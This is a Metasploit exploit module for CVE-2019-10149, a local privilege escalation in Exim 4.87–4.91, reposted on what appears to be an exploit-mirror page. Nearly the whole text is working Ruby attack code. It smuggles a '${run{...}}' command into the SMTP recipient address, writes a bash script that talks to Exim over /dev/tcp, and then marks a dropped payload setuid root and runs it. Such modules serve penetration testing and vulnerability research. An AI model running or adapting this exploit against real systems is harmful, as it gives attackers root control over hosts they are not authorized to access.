Exim 4.87 / 4.91 – Local Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2019-08-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47307/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'expect'
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = ExcellentRanking
    
    include Msf::Exploit::FileDropper
    include Msf::Post::File
    include Msf::Post::Linux::Priv
    include Msf::Post::Linux::System
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation',
    'Description'=> %q{
    This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).
    Improper validation of recipient address in deliver_message()
    function in /src/deliver.c may lead to command execution with root privileges
    (CVE-2019-10149).
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Qualys', # Discovery and PoC (@qualys)
    'Dennis Herrmann', # Working exploit (@dhn)
    'Marco Ivaldi', # Working exploit (@0xdea)
    'Guillaume André' # Metasploit module (@yaumn_)
    ],
    'DisclosureDate' => '2019-06-05',
    'Platform' => [ 'linux' ],
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'SessionTypes' => [ 'shell', 'meterpreter' ],
    'Targets'=>
    [
    [
    'Exim 4.87 - 4.91',
    lower_version: Gem::Version.new('4.87'),
    upper_version: Gem::Version.new('4.91')
    ]
    ],
    'DefaultOptions' =>
    {
    'PrependSetgid' => true,
    'PrependSetuid' => true
    },
    'References' =>
    [
    [ 'CVE', '2019-10149' ],
    [ 'EDB', '46996' ],
    [ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ]
    ]
    ))
    
    register_options(
    [
    OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ])
    ])
    
    register_advanced_options(
    [
    OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]),
    OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]),
    OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ])
    end
    
    def base_dir
    datastore['WritableDir'].to_s
    end
    
    def encode_command(cmd)
    '\x' + cmd.unpack('H2' * cmd.length).join('\x')
    end
    
    def open_tcp_connection
    socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client)
    params = Rex::Socket::Parameters.new({
    'PeerHost' => '127.0.0.1',
    'PeerPort' => datastore['EXIMPORT']
    })
    begin
    socket = socket_subsystem.create_tcp_client_channel(params)
    rescue => e
    vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
    "are you sure exim is listening on this port? (see EXIMPORT)")
    raise e
    end
    return socket_subsystem, socket
    end
    
    def inject_payload(payload)
    if session.type == 'meterpreter'
    socket_subsystem, socket = open_tcp_connection
    
    tcp_conversation = {
    nil=> /220/,
    'helo localhost' => /250/,
    "MAIL FROM:<>" => /250/,
    "RCPT TO:<${run{#{payload}}}@localhost>" => /250/,
    'DATA' => /354/,
    'Received:'=> nil,
    '.'=> /250/
    }
    
    begin
    tcp_conversation.each do |line, pattern|
    Timeout.timeout(datastore['SendExpectTimeout']) do
    if line
    if line == 'Received:'
    for i in (1..31)
    socket.puts("#{line} #{i}\n")
    end
    else
    socket.puts("#{line}\n")
    end
    end
    if pattern
    socket.expect(pattern)
    end
    end
    end
    rescue Rex::ConnectionError => e
    fail_with(Failure::Unreachable, e.message)
    rescue Timeout::Error
    fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out')
    ensure
    socket.puts("QUIT\n")
    socket.close
    socket_subsystem.shutdown
    end
    else
    unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\
    "&& echo true").chomp.to_s == 'true'
    fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed")
    end
    
    bash_script = %|
    #!/bin/bash
    
    exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}
    read -u 3 && echo $REPLY
    echo "helo localhost" >&3
    read -u 3 && echo $REPLY
    echo "mail from:<>" >&3
    read -u 3 && echo $REPLY
    echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3
    read -u 3 && echo $REPLY
    echo "data" >&3
    read -u 3 && echo $REPLY
    for i in $(seq 1 30); do
    echo 'Received: $i' >&3
    done
    echo "." >&3
    read -u 3 && echo $REPLY
    echo "quit" >&3
    read -u 3 && echo $REPLY
    |
    
    @bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
    write_file(@bash_script_path, bash_script)
    register_file_for_cleanup(@bash_script_path)
    chmod(@bash_script_path)
    cmd_exec("/bin/bash -c \"#{@bash_script_path}\"")
    end
    
    print_status('Payload sent, wait a few seconds...')
    Rex.sleep(5)
    end
    
    def check_for_bash
    unless command_exists?('/bin/bash')
    fail_with(Failure::NotFound, 'bash not found')
    end
    end
    
    def on_new_session(session)
    super
    
    if session.type == 'meterpreter'
    session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
    session.fs.file.rm(@payload_path)
    else
    session.shell_command_token("rm -f #{@payload_path}")
    end
    end
    
    def check
    if session.type == 'meterpreter'
    begin
    socket_subsystem, socket = open_tcp_connection
    rescue
    return CheckCode::Safe
    end
    res = socket.gets
    socket.close
    socket_subsystem.shutdown
    else
    check_for_bash
    res = cmd_exec("/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && "\
     "(read -u 3 && echo $REPLY) || echo false'")
    if res == 'false'
     vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
    "are you sure exim is listening on this port? (see EXIMPORT)")
     return CheckCode::Safe
    end
    end
    
    if res =~ /Exim ([0-9\.]+)/i
    version = Gem::Version.new($1)
    vprint_status("Found exim version: #{version}")
    if version >= target[:lower_version] && version <= target[:upper_version]
    return CheckCode::Appears
    else
    return CheckCode::Safe
    end
    end
    
    CheckCode::Unknown
    end
    
    def exploit
    if is_root?
    unless datastore['ForceExploit']
    fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end
    end
    
    unless writable?(base_dir)
    fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end
    
    if nosuid?(base_dir)
    fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid")
    end
    
    unless datastore['PrependSetuid'] && datastore['PrependSetgid']
    fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \
    'to get root privileges.')
    end
    
    if session.type == 'shell'
    check_for_bash
    end
    
    @payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
    write_file(@payload_path, payload.encoded_exe)
    register_file_for_cleanup(@payload_path)
    inject_payload(encode_command("/bin/sh -c 'chown root #{@payload_path};"\
    "chmod 4755 #{@payload_path}'"))
    
    unless setuid?(@payload_path)
    fail_with(Failure::Unknown, "Couldn't escalate privileges")
    end
    
    cmd_exec("#{@payload_path} & echo ")
    end
    end